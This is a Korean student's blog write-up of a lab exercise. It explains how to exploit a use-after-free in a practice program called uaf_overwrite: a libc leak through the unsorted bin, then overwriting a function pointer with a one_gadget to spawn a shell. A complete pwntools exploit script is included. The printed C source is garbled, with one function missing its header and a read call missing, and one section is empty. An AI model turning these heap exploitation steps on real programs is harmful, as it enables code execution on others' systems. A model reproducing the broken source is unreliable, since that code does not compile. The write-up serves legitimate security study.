# [Pwnable] 16. Exploit Tech: Use After Free

wonder_land·2022년 11월 9일
0

## [Pwnable]

목록 보기
16/21

[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.

1. 서론
2. 분석 및 설계
3. 익스플로잇
4. Q&A
5. 마치며

# 1. 서론

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
char name[16];
int weight;
long age;
};

struct Robot {
char name[16];
int weight;
void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}

void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));

strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);

printf("Human Age: ");
scanf("%ld", &human->age);

free(human);
}

void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));

strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);

if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;

robot->fptr(robot);

free(robot);
}

int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}

printf("Size: ");
scanf("%d", &size);

if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");

printf("Data: %s\n", custom[c_idx]);

printf("Free idx: ");
scanf("%d", &idx);

if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}

c_idx++;
}

int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}

# 2. 분석 및 설계

## 1) 분석

### (1) 보호 기법

$gcc -o uaf_overwrite uaf_overwrite.c$ checksec uaf_overwrite
[*] '/home/dreamhack/uaf_overwrite'
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

모든 보호 기법이 적용되어 있습니다.

FULL RELRO 보호 기법으로 인해 GOT를 덮어 쓰는 공격은 어렵습니다.

이럴 때는 라이브러리에 존재하는 훅 또는 코드에서 사용하는 함수 포인터를 덮는 방법을 생각해볼 수 있습니다.

### (2) 코드 분석

위의 코드에서는 크기가 같은 HumanRobot 구조체가 정의되어 있습니다.

사용자는 각 구조체 변수 또는 원하는 크기의 청크를 할당/해제 할 수 있습니다.

human_fuc 함수와 robot_ruc함수를 살펴보면, 구조체 변수를 위한 메모리 영역을 할당할 때,
할당한 메모리 영역을 초기화 하지 않습니다.

Human 구조체와 Robot 구조체의 크기는 같으므로, 한 구조체를 해제하고 다른 구조체를 할당하면,
해제된 구조체의 값을 사용할 수 있는 Use After Free가 발생합니다.

robot_func는 생성한 Robot 변수의 fprtNULL이 아니면 이를 호출해주므로,
UAF로 이 변수에 원하는 값을 남겨놓을 수 있다면 실행흐름을 조작할 수 있습니다.

한편, custom_func함수를 사용하면 0x100이상의 크기를 갖는 청크를 할당하고 해제할 수 있습니다.
이 함수에서도 마찬가지로 메모리 영역을 초기화하지 않으므로 UAF가 발생할 수 있습니다.

### (3) 익스플로잇 설계

Robot.fprt의 값을 one_gadget 주소로 덮어서 셸을 획득할 것입니다.

#### (3.1) 라이브러리 릭

코드에 있는 취약점은 UAF밖에 없으므로, 이를 이용하여 libc가 매핑된 주소를 구해야 합니다.
이를 위해 'unsorted bin'의 특징을 이용하겠습니다.

unsorted bin에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성합니다.
즉, 처음 unsorted bin에 연결되는 청크의 fdbk에는 libc의 내부 주소가 쓰입니다.
따라서, unsorted bin에 연결된 청크를 재할당하고, fdbk의 값을 읽으면 libc가 매핑된 주소를 계산할 수 있습니다.

예제의 custom_fuc 함수는 0x100바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제할 수 있는 함수입니다.

0x410이하의 크기의 청크는 tchache에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산할 수 있습니다.

여기서 주의할 점은, 해제할 청크가 탑 청크와 맞닿으면 안된다는 점입니다.
unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합됩니다.

이를 피하려면 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 합니다.

#### (3.2) 함수 포인터 덮어쓰기

HumanRobot은 같은 크기의 구조체이므로,
Human 구조체가 해제되고 Robot 구조체가 할당되면,
Robot Human이 사용했던 영역을 재사용하게 됩니다.
Robot이 할당될 때, 사용할 메모리 영역을 초기화하지 않으므로, Human에 입력한 값은 그대로 재사용됩니다.

Human 구조체의 ageRobot 구조체의 fptr와 위치가 같습니다.
따라서, human_func를 호출했을 때, ageone_gadget 주소를 입력하고, 이어서 robot_func를 호출하면 fptr의 위치에 남아있는 one_gadget을 호출시킬 수 있습니다.

# 3. 익스플로잇

## 1) 라이브러리 릭

custom_func를 이용하여 0x510의 크기를 갖는 청크를 할당하고, 해제한 뒤, 다시 할당하여 libc 내부의 주소를 구합니다.

이때, 구해낸 주소와 libc가 매핑된 주소의 오프셋은 gdb로 쉽게 구할 수 있습니다.

gdb를 통해 메모리 오프셋을 구하는 방법은 info proc map 또는 vmmap을 이용할 수 있습니다.

from pwn import *

p = process("./uaf_overwrite")

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))

def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))

def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))

# UAF to calculate the libc_base
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1) # data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c

slog("libc_base", lb)
slog("one_gadget", og)

## 2) 함수 포인터 덮어쓰기

human->agerobot->fptr이 구조체 상에서 같은 위치에 있음을 이용하면, Use After Free로 robot->fptr의 값을 원하는 값으로 조작할 수 있습니다.

human->ageone_gadget의 주소를 입력하고, 해제한 뒤, robot_func를 호출하면 다음과 같이 셸을 획득할 수 있습니다.

from pwn import *

p = process("./uaf_overwrite")

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))

def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))

def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))

# UAF to calculate the libc_base
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1) # data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c

slog("libc_base", lb)

# UAF to manipulate robot->fptr & get shell
human("1", og)
robot("1")

p.interactive()

-

# 5. 마치며

-

[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.

아무것도 모르는 컴공 학생의 Wonder_Land